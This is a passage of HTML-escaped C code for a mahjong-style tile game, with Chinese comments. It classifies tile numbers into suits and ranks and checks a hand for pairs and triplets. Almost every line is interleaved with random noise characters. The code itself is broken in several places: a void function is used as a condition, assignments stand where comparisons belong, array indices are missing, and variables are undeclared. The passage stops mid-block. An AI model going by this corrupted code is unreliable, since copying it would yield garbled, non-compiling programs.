0 s) f* @1 w* q) r) H, A  jelse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
" T4 n+ G) Y7 f) @* llogoo=2;. F$ |# A# c" Y" o
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
: E+ Z, j( l, [2 Z2 G  s' [logoo=3;. i( X/ U1 M, g0 Z; r% |
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)' c) D9 ]* |# Z5 q' P
logoo=4;
. Y0 R/ r6 i! [' d/ I3 Delse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
( c8 t) B7 r, x& llogoo=5;! b" g7 a; G& T
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)2 [7 V* I4 [$ v! g% a! G# F
logoo=6;
" S& C0 e$ F1 G  H5 t# aelse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
) X+ ]% w6 N+ R( K, Z8 ?# }logoo=7;
( L9 n0 d6 e* B& xelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)9 ~6 P! _6 T; K8 k
logoo=8;
% T! O. f: S5 }" }else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68). F6 s$ ^2 Z' C6 ?. T
logoo=9;
- `0 e5 {4 s6 R; K% d}
5 U+ W, ?" U! k" ]$ u/ X9 I  Ielse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
2 x/ a0 b+ F; T  \{
5 d; Y4 f# m7 F$ Z4 flogo=3;
4 `2 |! t1 ]; x6 s* Pif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)( I9 m( v% j4 y8 _- h3 s( w. w
logoo=1;
! _7 |4 {4 L9 z6 }% velse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
" E- G+ l+ n' b$ Dlogoo=2;
, `: v/ Z! `3 d+ W- J" m' X* telse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)0 v  ?3 V; g- I2 z( J4 a
logoo=3;
( L1 v. I& X2 q; L$ n; C" u& \else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
9 c% S1 W' k2 h' `  |logoo=4;' K3 c& |% c1 m  j/ O3 [
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)) w( u' s; I2 L
logoo=5;
8 D! U& S; e6 Q. g/ ?; Lelse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)7 j9 h/ g3 l& N! T% T
logoo=6;1 b# J: H# x$ a
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)7 t: B/ N4 T+ J' I: G; `
logoo=7;& ^8 I; U0 p& B2 _
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
, S$ H& d0 E' o, T" Z4 c/ ]2 o1 Llogoo=8;
  o! D0 p+ x- h& g  s0 ?else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)6 |5 z5 d+ a. d2 x% h# `
logoo=9;
. R1 H) Y$ u% b. ^9 h1 ~}& m/ l1 K5 S0 d0 Y: j7 j( Q/ H( a6 g
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
3 h, W* Y" _4 ?{
2 k$ P1 D' M7 m0 [7 G1 f7 ^logo=4;
+ @% S& k' v* iif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
( [( a9 C5 T( ]7 e* jlogoo=1;' ^% L  q7 u! X! k
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)9 s5 `% B% {+ I) F
logoo=2;
$ G4 e- q$ x3 W$ Xelse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
4 |+ Z* O* D! o3 R( X, Ilogoo=3;  m$ F* C* k9 L
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)& V% {& z) o1 q5 h7 E& V
logoo=4;
7 d1 z% E; @$ V" Selse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124); `6 J) s8 a+ T1 E$ P2 J
logoo=5;/ e. _( I) H8 S6 D" ]6 C9 e; N/ p
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)# H; o  f& U; s6 g( E
logoo=6;
7 L, z* e. h+ z2 Z4 z; Delse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132); k* D- e; J. G( @" l& I6 q$ o
logoo=7;; `+ x0 z, O1 b. ]0 N' u
}
( c% D7 f9 Z2 V7 P9 v2 Qwhile(b&lt;=me.m)
3 i  J0 `3 h' i# s  T7 q{6 [7 C% l3 D8 Z- R$ z6 j6 v
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/5 `% M# c4 m4 C4 p
{- V) v* }4 p7 W
lg=1;
  U+ b( r* j9 q, U* Dme.pp.d[0]=1;( h/ C/ C' Y$ S8 C" @! ?
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)# \2 [/ X! d' `& O" a+ O/ X
{
. w; T' Z- D' J  i, k! o# t, Ulgg=1;# a2 v6 T$ j0 y: {0 o: E8 i4 g
me.pp.d[1]=1;
- |% ]* T% X+ G4 o( m}
# @: I6 v1 P2 Q& X8 Velse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
# K; A) |' |, }9 P{6 B7 S8 F6 i. f' h
lgg=2;
1 c/ _$ H, J, }* t/ L- f  |me.pp.d[1]=2;8 ^. [; r" j& ^/ d# l4 ]6 m
}
" o. D0 B/ E" ]% A; ]. velse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)! |* |: \6 I" E: h, `" Q. {: a
{
: i" t5 @6 {- J  i7 l3 hlgg=3;
% d7 E8 j  O% o! i) bme.pp.d[1]=3;3 [9 K* B. P. |9 @, Z; W
}3 Q- ^; H* H& P: j
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
. U5 Y& D1 g) E7 n, y7 o{
6 ^. K/ ^9 S3 f, w1 Clgg=4;6 f: P7 e4 u+ J1 x4 m2 X) X
me.pp.d[1]=4;2 M; [7 Q3 p' u: T% H# h
}
. r1 a, S2 Z7 Y; J: @7 {else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16), R6 Y6 f4 i2 T& l0 T/ j2 |8 `9 h
{
. |; o6 R3 q9 j/ k  \* Xlgg=5;% \) Q; i$ p) h  U
me.pp.d[1]=5;
9 V6 T: H% U, x' n6 l}
( y3 l: S8 h# T& p/ y, _% K! I& v) ?& gelse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)( D1 H# C' D6 d$ F3 V
{, _- D) b8 A3 Z8 j9 Q+ l% A
lgg=6;
9 u& O( H0 u% j' J1 wme.pp.d[1]=6;
5 K, C. W5 N9 }7 B( d}
: ^2 K* z% J# m9 Zelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
3 [% O1 q7 T) T+ b. u, ]# m% y{1 g' ~4 ?5 F/ K- C2 E8 F
lgg=7;
4 q- _& D* D) l& ]& Y6 lme.pp.d[1]=7;
5 J# E9 g$ o# J4 z+ l4 ~! T}
$ v% ~" ]4 b0 l% X) {else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
; }) l) D2 g1 T, c1 H6 U{
* O. k  y  o# }8 x' ^: a- Hlgg=8;
; ~4 m3 S; P, L2 n  bme.pp.d[1]=8;
1 y2 M, ^9 r4 l, M3 _7 U}
6 W7 l, e- k9 k1 H' q* [else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)1 h: {3 ~- {  A" \
{" z/ c, E4 t* Q0 U4 Y$ u
lgg=9;) q. r+ `' j4 N6 e' a
me.pp.d[1]=9;' @# y( ^* T: K1 |9 p, S1 l9 B
}. U8 \% B2 Q0 \! V3 K4 V& J9 \
}; F% |3 }) R/ p4 }
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)/ x: J8 w7 b9 k  u7 d, t  g
{
) l8 W, A' _- d( @lg=2;& Z) i5 I5 G9 ~) ?1 i  @: Z
me.pp.d[0]=2;( H% Z- Q0 J( {$ w2 w; D" \
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)# C, u7 E/ |- k7 w$ x5 m
{" R1 L- H) E4 d7 C3 i5 ~$ w+ m
lgg=1;. v  x, I; T" F" R2 i3 D% P
me.pp.d[1]=1;$ M. ]/ V/ g' B8 y% d4 E
}
- w0 z6 c; P# \2 [9 melse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
2 O$ H2 P# E/ _* A{3 a" Z# y# r& L  [' |, o8 ^
lgg=2;  G3 D8 d/ G" Y; K; ]/ B; f% d
me.pp.d[1]=2;$ Z% L& ~' Z6 o5 Q8 @7 a
}
9 o3 d' g8 y$ C7 _: uelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
% f, A- X9 u( j- ]( {) Y0 a# E# X{8 Q$ _0 L& n0 E  G8 G- V2 h1 s
lgg=3;
& d' v1 I( w6 |5 Ame.pp.d[1]=3;
, ?. |1 ~" ]% T( f& p* x}
( X/ Z; \  u, ]+ b" g* R' @else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
: w4 J, c, z2 P: a5 U{7 \/ l% U! j1 O0 g9 O. D
lgg=4;
; [& b$ [7 P: |me.pp.d[1]=4;/ J( R+ x- Q& U* d  V
}9 j( h2 B9 i+ l/ @; x
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)( e/ i& l: g" b
{& {  ^, E8 `6 F0 u# K# \9 A2 s
lgg=5;
2 e0 K. S# a$ d% ?9 s7 Q" }2 tme.pp.d[1]=5;8 o" [  t8 u$ w
}
( j. Q3 s! k3 z2 b% }else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)1 p& q) w0 S. s5 R
{( I$ D/ f8 x/ u4 i% C# Y: r7 r
lgg=6;
4 K3 ]1 e2 _& Y# t+ {) @me.pp.d[1]=6;
' a. b3 z4 k: r3 Z: t" U}
# @" A6 \. U/ S9 H$ Q' xelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)+ r& J0 U/ E3 W
{
5 W( l/ e$ P* p7 X- Slgg=7;
6 n  \  x0 s8 k& \7 a$ S( h$ Lme.pp.d[1]=7;. q" X, n- W6 L* q* O( X
}
& F0 c4 S4 H9 w6 M4 Z- f4 Velse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)# |/ [5 \9 ^/ P( D/ n0 J
{. D0 ^% J* C/ V! M0 C
lgg=8;
8 A5 A& _% X# o6 Y! b8 Xme.pp.d[1]=8;; T' R& Y- S( M+ `, T
}
5 y- Z( m2 c; k! }2 ]5 K0 k; I6 Lelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
2 `- v' ?2 {5 T5 N5 D% N{  _/ d+ }6 |6 ?# t' \. W2 p% I0 B8 e
lgg=9;
; s7 S" p. t7 r" s$ g0 Zme.pp.d[1]=9;+ q- z4 w6 E' ]/ X
}" D7 b% ~/ J. ^  R6 W8 E
}) X9 x5 w8 Q2 F% l. O3 H% K
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72): q: ^- D& _, p- N
{$ F' F0 `2 A% q6 I  M" E
lg=3;; v+ W9 n, P% y0 d8 i7 A0 @4 [
me.pp.d[0]=3;
3 U- u" y( s' v( q1 u2 d4 @if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
& R; ]" v2 Q* w" ^0 Z. y{
9 Y( e* V" I3 u% V8 ^5 x( wlgg=1;
$ \* E& ?, Z4 ~8 H3 ?me.pp.d[1]=1;
4 j$ \& |( P8 r( x/ c' l0 K7 {}7 h5 }% K, @1 Z
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
- }" n. o/ ]9 C1 z$ d{
4 x2 d0 n9 ^  n+ e  A! t4 mlgg=2;. C2 C3 E; a. E4 W1 A, o
me.pp.d[1]=2;
/ u. s& J* T8 i1 |9 B" K/ w}, b5 n4 \/ a- j0 H7 D! Y
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)) ~" d$ K, g. Q# `
{
) ]1 _' R: I; Slgg=3;3 m, [7 R. i1 @: @5 H4 H
me.pp.d[1]=3;! K  e3 ~: X+ ]4 L
}
3 i' C. S+ O& Lelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
" w. _4 w% w0 X. s$ A7 M; v- a- @{- c5 m( V5 s7 q: d$ o7 b7 R
lgg=4;" C7 w8 O$ u+ a+ O0 F0 d/ P* ~
me.pp.d[1]=4;
  v, W& G! r( i$ `$ F, S, D}
* Y3 {/ y( ^( A+ f- q8 Lelse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)9 _. ]$ i; q3 F7 N  O3 ]
{; H5 o- X" w5 w6 w: B
lgg=5;9 I8 n+ T" R7 z/ O) r' Z
me.pp.d[1]=5;
6 E+ Z, p& \9 w; X; S}, M+ U& \: o0 g# @+ U
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)6 G  U/ j5 x+ ~$ f; [- x
{5 A) l4 I8 r0 j2 h
lgg=6;5 ], Z* j7 G" K) E
me.pp.d[1]=6;
" c8 h  j9 _: A" J}
5 C- b9 X" a  v, s" \- z$ zelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
  v* B* O" q7 `{3 l$ T2 y# x4 }' T: C! T, z: ?3 A
lgg=7;
0 t. G2 o, G5 X: A9 `$ Rme.pp.d[1]=7;
! g6 u9 A/ K6 v, J}% I/ ]" i& o. C
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
( ^7 L0 O, Q; Z5 g& n7 n{# K8 V- C, V4 t$ P, a8 w( f3 U
lgg=8;
6 {" r; S! ]4 Qme.pp.d[1]=8;
  s) _9 J+ T$ H6 ~}; g5 c# a3 Z# ?/ W: _% [! I; A
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)) b' A" T" S6 F5 b# I
{
" K2 X- G  j& y! y, llgg=9;
7 W* }- J# T- Z; F6 tme.pp.d[1]=9;( R4 S6 ?  w6 r
}
, T% C% H+ m# v  R}
7 |- r: F, c% ]; J4 P% |5 ?( welse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
( t7 S! T( K# z! u/ l7 C! L& R" O{& ~! ?/ |1 t& ?- R- @; A
lg=4;8 i* w9 k2 a' T
me.pp.d[0]=4;
# `6 a+ ~6 W; mif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)/ x. e4 y+ x% Y1 O
{
, u5 Z' O7 l8 _! d$ M5 `& Z/ algg=1;- }8 Q8 [' i; X
me.pp.d[1]=1;. R3 O4 q1 d; \* `2 m* V
}$ `1 t+ m- a7 c  J) h0 w6 V7 G
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
: J9 M  p, i; V) m- r! e{
7 y" l0 v4 _- F" Jlgg=2;3 H& m' p. W# ~" m. H
me.pp.d[1]=2;
% F% I$ B9 S/ a+ _}- C: V4 c7 }1 p( x8 }) G
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
, E, p+ }, q8 Q{
/ O$ G- @  c) ~4 ]; |" flgg=3;
* g" f0 X9 ~! I0 C  T3 fme.pp.d[1]=3;
3 \5 A4 b8 L2 W0 u. a/ K' [* Z}
" ~9 }* G  I$ }9 P' r9 e  [2 \else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
( \& s4 S& c+ t0 `1 |{
9 j- W3 H1 G2 M6 Z- Wlgg=4;
' a! q) Y. L) Pme.pp.d[1]=4;( d3 p+ |2 L' s+ n, P( d; I
}
! r/ e  J& E  u  g7 S0 jelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124), |$ A& i9 N: m( }- D3 \
{/ B  b3 r+ A2 Y, f' w
lgg=5;  o' E5 _' e/ K
me.pp.d[1]=5;; Z* t+ K+ U* c1 o
}9 ?8 S- i( f) x- A1 i/ k: z
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)3 ]7 I  n& B+ s# W, x9 b3 I  W9 ?& b* |
{
1 d4 |* D! o" r4 n4 w6 xlgg=6;
7 Y& P3 M; c4 |! ?me.pp.d[1]=6;
$ D6 y& m! p9 Z}# G: s  ^# M3 u0 v. [$ i! S0 [. g
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132), j7 O9 Z9 |' A" Y5 o
{
9 Z5 n6 s  s* O7 ]lgg=7;
" @6 B) t8 N9 f, F+ B: V8 o4 \me.pp.d[1]=7;
/ @8 D1 G$ e5 Q. H4 n. v6 ^* C% s}4 }1 ^' O" H8 E% C
}
% T/ I4 N( e& f  c) W! F  v8 N}
- Y; X0 y5 l# F" t7 E}) [" q5 x, Y- S3 N7 X
void istwo(testt)
9 }( M- _) P+ Z* _8 rint testt[];8 {. X$ ?2 {4 t5 u: D
{ if(testt[0]==testt[1])/ m. L4 j' m& U
second++;1 h! Y: x2 s% K0 _' g, X  e4 S
}
& T: q9 v. P1 Z& [) Bvoid isthree(testt,n)- W/ u- r9 w! r8 {6 P+ J( b. M
int testt[],n=0;
, T1 }- G, S4 Z{ int i,j,flage=0,lianx=0,same=0;
. I, `0 B9 N  X( C6 yn=n/3;7 w' Z$ I" z6 j* o* B0 f
for(j=0;j&lt;n;j++)
" a0 n. m# X. j  [3 z6 z9 Y  b7 X6 c{
/ K9 P3 U- S( E+ ~. cfor(i=j*3;i&lt;2+j*3;i++)" ]+ {+ p8 B2 k. s1 C6 z
{! A9 H" E# @9 d9 P. X
if(testt==testt[i+1])& L1 a# m  B6 y5 k
same++;1 e+ O$ ^# Q9 C+ r3 q
if(testt[i+1]-testt==1)" ]9 G4 Y4 w" G
lianx++;
' t" P( N; d: x& D" o2 {) S8 ~) k}
( i4 ?9 G: `* g: p8 g0 @- Wif(same==2)
4 n; p% _  e4 D- D- {% S6 T* athrees++;
" ~7 p! o) M. O1 ^7 U% ?if(lianx==2)/ Z) l- q4 E5 N( {. q0 x* @
threes++;3 C' M4 c: n1 ~. `( ^
same=0;0 \0 Y1 E8 g5 A  J3 r
lianx=0;
4 F, u0 L: P% A9 P  ~& [2 ?}
) |  v& y/ D% t6 w}
1 G. t) `7 K5 M' N# `- Q9 ovoid panduan() /*本程序的精髓*/4 t  @! V) c7 [' J6 ^6 w
{int data[14];1 `1 U1 p. F: V: d% r( H9 R
int pw[14];
5 S( s, N! K5 ~- fint pt[14];5 ]$ R, s. ~( w* [  d3 `
int pi[14];
. ^3 r8 \& k+ `5 B+ q3 r3 bint pf[14];
5 m: w- ?! S  d1 |1 I1 f- hint test[12];$ }5 _  D  g% w
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
! d6 r' g/ e( d/ m" K$ ~for(jj=0;jj&lt;=me.m;jj++)5 A. T, s2 `3 d( l( k
{
! @& L& [) P/ z3 n3 ^if(me.pp[jj].d[0]==1)
" M9 |" Z+ [  ?) t$ zdata[jj]=me.pp[jj].d[1];
- |; d: O% `* |! Q, nif(me.pp[jj].d[0]==2)7 _7 f7 P7 Z% x8 s* |( x& I" N# {1 c
data[jj]=me.pp[jj].d[1]+10;
2 P+ x4 E9 o" |; n- J; f; oif(me.pp[jj].d[0]==3)& N9 d" j0 F4 j/ g0 @+ ], _
data[jj]=me.pp[jj].d[1]+20;
, w! J- e3 h+ D4 B% J  H  rif(me.pp[jj].d[0]==4)
) n2 K3 [, G6 {) \7 @- q) B  ~data[jj]=me.pp[jj].d[1]+30;
/ K2 A3 ^' ^, V* A! D& [}
& ]7 M( S  _) M5 {: }1 T+ ?if(logo==2)7 C5 y' L9 O& _
w=logoo+10;0 ~: A! n+ P# j4 s5 Q
if(logo==3)# R  n# b" c# t+ Y$ q
w=logoo+20;
4 a% Q- J9 N4 J8 {5 y' l7 t0 Uif(logo==4). l( t# X: q5 A! }6 c! p* P
w=logoo+30;
2 j" g2 h  h9 a, Fdata[computer.m+1]=w;
7 F6 e" K7 J( ]: c2 F, _  D- Ffor(mm=0;mm&lt;=computer.m;mm++)0 A. C0 {$ o  t, k* s. j
for(nn=mm;nn&lt;=computer.m;nn++): H- R: K. ^1 ^# s
if(data[mm]&gt;data[nn+1])! R- D% _4 o7 e. x
{; e% k" A4 f) w  h. b4 C
tpp=data[mm];
& g  p1 f4 S3 W$ @) D! `7 f! kdata[mm]=data[nn+1];4 O- W7 R$ J( m4 N$ X" `
data[nn+1]=tpp;
9 `) `% j/ c; r2 o}
% s5 A( G& c9 s3 n: R: I6 |lp=0;7 C+ w" j' v4 ]: I9 }# P
while(lp&lt;=computer.m)
8 j3 _- O- c- T9 O( y{ if(data[lp]&lt;10)
2 V, `, I/ n: Y! X: c* h' k$ K9 Bpw[ww++]=data[lp];+ p: l+ a; J7 [9 q; x8 g8 G( \" p, n
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
9 k, I- E0 b( U  I% {pt[tt++]=data[lp];
) b) N# u: P4 E7 T- b3 q( jif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
* x  }9 P7 v. vpi[ii++]=data[lp];8 X" h8 X1 A, [+ ?* D% [/ |5 o
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)" h/ @& e5 G+ s$ c0 |* z, Z
pf[ff++]=data[lp];' R* d4 I4 \8 i! R
lp++;
" C) _9 W% O% S6 _6 v, w- O}
7 @) X' l1 v$ o2 P( U/ jif(ww==2)
0 j2 ]3 H' r4 d) ^istwo(pw);
5 t0 Q5 z1 I) s% Y( F1 welse if(ww==3)
* Q- M' k4 G' F0 C5 U6 |+ histhree(pw,ww);( ^% ]: g$ d+ u& d" @  B
else if(ww==5)1 @  W' \6 K1 e; f4 X3 q
/*pw[5]原始牌数组,假设已经升序排列*/( S  G; d  _0 J7 B3 B
/*test[3]用来放置测试牌的数组*/1 P8 n" l1 S% v) ]- ?
for(i=0;i&lt;4;i++)% }+ }# v) v1 {4 P) D
{( g6 f/ Q+ r1 J, h
for(j=0;j&lt;2;j++), I' l0 E0 F) O$ X
{test[j]=pw[i+j];* c# R' E" n4 Q! d2 J
}" P* E5 z- r; t% Q9 {' ]" T: `
if(istwo(test))
0 ^2 D$ Y2 s7 q' q5 u/ @{ ill=0;
5 N+ f; Z& ?6 b6 F: _+ `& cfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/4 K! n1 B2 F4 Y' [# E& w+ x
{if(kl==i)6 t8 F7 f- ~+ S1 [% o" g6 H1 B
{
% u$ j0 s2 d) V& ~kl=kl+2;
& M4 f, d' Z# u0 rif(kl==5)) w- A- N% y* m8 d' N/ ]5 y
break;
. W0 Q/ k/ t# G3 W}
( {0 M2 s; w* q! stest[ill++]=pw[kl];  e: u- _# e3 l: U
}
. `) c; R+ u+ risthree(test);$ v0 b: v0 Z$ s" A3 q$ M
}
' W0 I/ K4 h9 d}  _: r" y" Q: }3 ^; h$ N3 z' L
else if(ww==6)# }4 m3 ^" j6 u; D) p
isthree(pw,ww);
! R5 g; z7 A( x; @* Qelse if(ww==8)9 [  k% i* N; q9 i' h5 {
for(i=0;i&lt;7;i++)
/ `3 n" a, E& j- I. p% O# z{8 i* X; c# ?& C# V
for(j=0;j&lt;2;j++)
2 k0 w: K3 @6 j6 u6 B{test[j]=pw[i+j];
5 H8 h8 q+ K( Q8 z+ C}" S$ v' p: I4 Y5 _2 a- i% `( j9 t! Z
if(istwo(test)). c! [, {$ a. D8 u( b. f/ p
{ ill=0;' e, J7 T5 U% E9 [' ^1 i3 l, W3 O
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
9 p4 ?& ^; i' `+ L1 N{if(kl==i)! |# q' \9 {; a% I& _- W
{
8 H7 m- y, ]" @kl=kl+2;0 Y9 s2 `1 H3 k& f: M' u- q
if(kl==8)
# l+ n9 J2 K. J) o! K! @. Z" Wbreak;$ q' b; \6 t5 ^% W5 h
}
! g; Z: N8 O8 Itest[ill++]=pw[kl];0 r+ m: N/ h! j! m4 o" }( D4 B
}0 q/ K1 C" N; d; [+ ^# {; F" k! D
isthree(test,ww-2); 5 C& J6 \) F+ R' m
}8 f! u% D, j  g% Q
} - @2 q$ y6 s$ r' a* n% k
else if(ww==9)2 ^" r4 |, n- p+ \: z  I2 n' F
isthree(pw,ww);
1 B4 ]: S/ C- [+ p1 p7 A  h% z+ b  zelse if(ww==11)
# t) B( T  G9 N( |for(i=0;i&lt;10;i++)3 R/ |$ k! |# H4 U& G3 M* h) F
{
, L( F  ?0 q( {1 q, c+ jfor(j=0;j&lt;2;j++), i: z$ H1 G* F3 j, @. ?
{test[j]=pw[i+j];
2 w6 U6 y/ _4 b) P* g}  j% G7 m+ Y; q. d; y
if(istwo(test))
2 A! x6 p7 L5 A5 e{ ill=0;
( c9 F/ I; v, F- u# C5 p+ `for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/# C( ?6 m* `  S. P
{if(kl==i)
2 S9 g( l. O: t) |{
9 n9 u3 R  p) T; pkl=kl+2;
+ J7 \) E9 \% @+ u; W- ]+ Iif(kl==11)4 C; U7 Q1 t5 v& O% M3 m2 w
break;! J4 k5 s- B) C7 O
}
  F/ j% o% O; b6 d  Utest[ill++]=pw[kl];
% Q" u" ]$ ~) }1 J$ x}
9 l' x0 ?2 J" \; Nisthree(test,ww-2); / I+ ^( i0 q0 w7 S7 \; k
}
+ J$ F. R  Y3 {% q3 r# V) C9 \} , |" j) S0 S) {. c$ u
else if(ww=12)
/ v4 h8 S0 c; a- n) F7 N# bisthree(pw,ww);" m( k6 [5 [3 K- G6 u) B8 X$ ^
else if(ww=14)3 d) R. p6 T' {1 A, k
for(i=0;i&lt;13;i++): z8 a$ o" y7 {! a8 ?
{
. r) V+ y6 ]9 v& k8 ^/ o) v7 hfor(j=0;j&lt;2;j++)$ s2 t* M- p' T' a( O# o0 {8 `
{test[j]=pw[i+j];& ?" h; B7 f. }" T: C9 |9 u
}' @. w) {, _: z9 K( ]
if(istwo(test))
/ G. s* X! x- C* |8 L3 f{ ill=0;* N/ _0 ~, ]9 u1 E; p) k' y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/) w! E- ]0 A/ g% l
{if(kl==i)$ R+ C3 e/ Y: o6 m
{
3 C7 u2 ^" @8 {# Vkl=kl+2;
( w& f" @1 k3 c& R( {; N# vif(kl==14)
$ n) A/ h) @+ Sbreak;  p0 j7 s& u3 n
}6 n' t9 q3 U' B# j; s8 w9 {
test[ill++]=pw[kl];& m. O; z( b; J, e" [5 {+ Q; h! \
}7 ~# s; X6 m- M+ B
isthree(test,ww-2); / B. K$ g6 o/ ^6 T" `% g; C
}/ i6 \- D. R1 p0 }2 u9 u9 Q
}5 I, o: a8 _, r" ]
if(tt==2), ~) y5 x8 D6 i( S! A0 E9 W
istwo(pt);5 H& \6 ^2 B' q& Z% U
else if(tt==3)
( O% ]) O$ M, |0 Cisthree(pt,tt);
+ ]2 Y0 Z1 }  ?. P4 }$ S' X0 Belse if(tt==5)9 x& E  W% q: E. N0 `2 M
/*pt[5]原始牌数组,假设已经升序排列*/
8 M( {' r( s" v1 K$ z8 W/*test[3]用来放置测试牌的数组*/, P+ B3 x5 y5 ?) q. R1 i
for(i=0;i&lt;4;i++)3 ~- d3 |: L$ w3 E; f5 R6 N6 }
{. r1 I( G- t; i( P0 ?' l1 g8 m
for(j=0;j&lt;2;j++)
+ O( D# S7 U4 j6 c{test[j]=pt[i+j]; . C' i0 F% E+ J9 P1 k' f
}
; }. p  L4 J0 Rif(istwo(test))
- a" `" m) F  c! i5 \{ ill=0;
( P' |% ?1 @0 j8 tfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
/ v: Y$ ^  L6 h/ A% {{if(kl==i)* x. B; Q, E8 U+ f7 Q. Z
{
- O5 U" Q  ?. c& V- M& _kl=kl+2;
, a1 x( d6 @) kif(kl==5)
; ]* A( Y/ n/ q$ ~- A9 P& j* vbreak;
% Z, Y$ A" i) f* G2 R}6 |4 I6 J6 Q5 t. i0 ^
test[ill++]=pt[kl];
3 V0 G' [( _4 M4 q: \}5 {0 {. F/ d" E
isthree(test);
6 d" c% a) F1 {}' S0 T+ i' o; e- C# f, ?7 y
}, G, u& S# A* a
else if(tt==6). @/ y7 D" P1 d
isthree(pt,tt);
: K- J  }( a" R. felse if(tt==8)
% e5 G( ?; r/ I& `# Dfor(i=0;i&lt;7;i++)
; `# P$ N  Z( H! T" `9 p{4 k* i4 \! T0 F# A) ?! N
for(j=0;j&lt;2;j++)9 o1 _* S' A6 n* D2 b2 B
{test[j]=pt[i+j]; 6 X: W8 o4 X  z2 ]0 J9 t
}/ Y) N- @( d, ~3 y
if(istwo(test))
4 S0 _) P9 [6 Q# l{ ill=0;
" g$ U/ J3 ~; W4 a0 H2 u, Ofor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
0 w& f7 d4 l2 y4 a{if(kl==i)/ }3 q  t4 p; e+ l2 r4 w  w9 f
{
